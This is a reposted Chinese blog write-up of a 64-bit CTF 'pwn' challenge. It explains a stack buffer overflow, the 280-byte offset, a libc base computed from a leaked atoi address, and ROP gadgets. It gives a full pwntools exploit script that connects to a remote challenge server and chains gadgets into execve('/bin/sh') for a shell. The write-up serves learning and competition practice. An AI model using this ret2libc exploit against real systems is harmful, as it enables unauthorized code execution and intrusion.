64位的簡單pwn


環境:kali,python3

程序沒有開啟隨機化

沒有canary保護

啟動了NX

IDA:

運行程序,先輸入1200,然后給出函數地址,再次輸入內容。

思路:

函數地址在IDA反匯編可以看出來,是atoi函數的地址,是got表中的地址。也就是函數運行過程中,在內存中atoi的函數地址。

看代碼可以看出read這里有洞。可以利用緩沖區溢出覆蓋返回地址。

(32位的緩沖區溢出可以參考一下https://www.cnblogs.com/gudygudy/p/8093921.html,里面的棧結構中函數的參數傳遞方式變化了,可以暫時忽略返回地址上的參數區)

需要注意的是,64位的函數調用參數前6個是放在寄存器的,分別是rdi,rsi,rdx,rcx等。這里面最多用前三個。

題目還給出了libc庫,據此可以定位libc在程序運行時加載到內存中時的基址。

有基址后想調用什么函數都可以偏移過去。調用system("/bin/sh")就拿到shell了。這個題目用system服務器沒成功,,本地成功了;用execve("/bin/sh",0,null)兩邊都可以成功。

首先確定需要放多少個填充才能到返回地址。

使用kali自帶的工具生成長度290的填充字符,gdb打開程序,輸入該字符串。

 發生段錯誤

 查看rsp的值,rsp這時候放的就是返回地址,但是這個地址是有誤的所以報錯。

利用kali中工具查詢這個串偏移量。

 

結果是280。

填充塊大小知道了,返回地址可以通過libc偏移計算,參數傳遞如何實現?

32位機直接在棧上覆蓋,64位需要借助匯編語句實現參數傳遞。這幾條匯編語句稱為gadget。是在程序中尋找的合適的,也可以在libc庫中找。

libc中匯編代碼豐富些,所以我在libc中找的。所以利用時還要記得加上計算的libc基址。

查匯編指令使用的是ROPgadget

 如圖,分別找到

pop rdx;ret

pop rsi;ret

pop rdi;ret

對應的地址。

 1 #pwn1 求解
 2 from pwn import *
 3 
 4 context.log_level = "debug"
 5 context.arch = "i386"
 6 context.terminal = ["tmux","splitw","-h"]
 7 
 8 def debug():  #該方法會在程序未結束時打開gdb對程序進行調試,在debug后就進入了交互模式
 9     pwnlib.gdb.attach(p)
10     pause()
11 
12 p = process("./pwn1")
13 p = remote('124.16.75.117',51005)
14 libc = ELF("./libc.so.6")
15 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
16 
17 offset = 280
18 p.send('1200')
19 
20 recvw = p.recv(31).decode()
21 recvw = recvw[-13:-1]
22 recvw = '0x' + recvw
23 
24 atoi_addr = (eval(recvw))
25 print("atoi addr:" + hex(atoi_addr))
26 
27 libc_base_addr = atoi_addr - libc.symbols["atoi"]
28 
29 execve_addr = libc.symbols["execve"] + libc_base_addr
30 binsh_addr = next(libc.search("/bin/sh".encode())) + libc_base_addr
31  
32 pop_rdi_ret_addr = 0x215bf + libc_base_addr
33 pop_rsi_ret_addr = 0x23eea + libc_base_addr
34 pop_rdx_ret_addr = 0x1b96 + libc_base_addr
35 
36 payload = 'a' * offset
37 #debug()
下面這條語句依次:填充,調用pop rdi;ret把第一個參數binsh_addr放到寄存器rdi中,第二個參數放到rsi中,第三個參數放到rdx中,調用execve函數
38 payload = flat([payload,p64(pop_rdi_ret_addr),p64(binsh_addr),p64(pop_rsi_ret_addr),"\x00"*8,p64(pop_rdx_ret_addr),"\x00"*8,p64(execve_addr)]) 39 40 p.sendline(payload) 41 42 p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM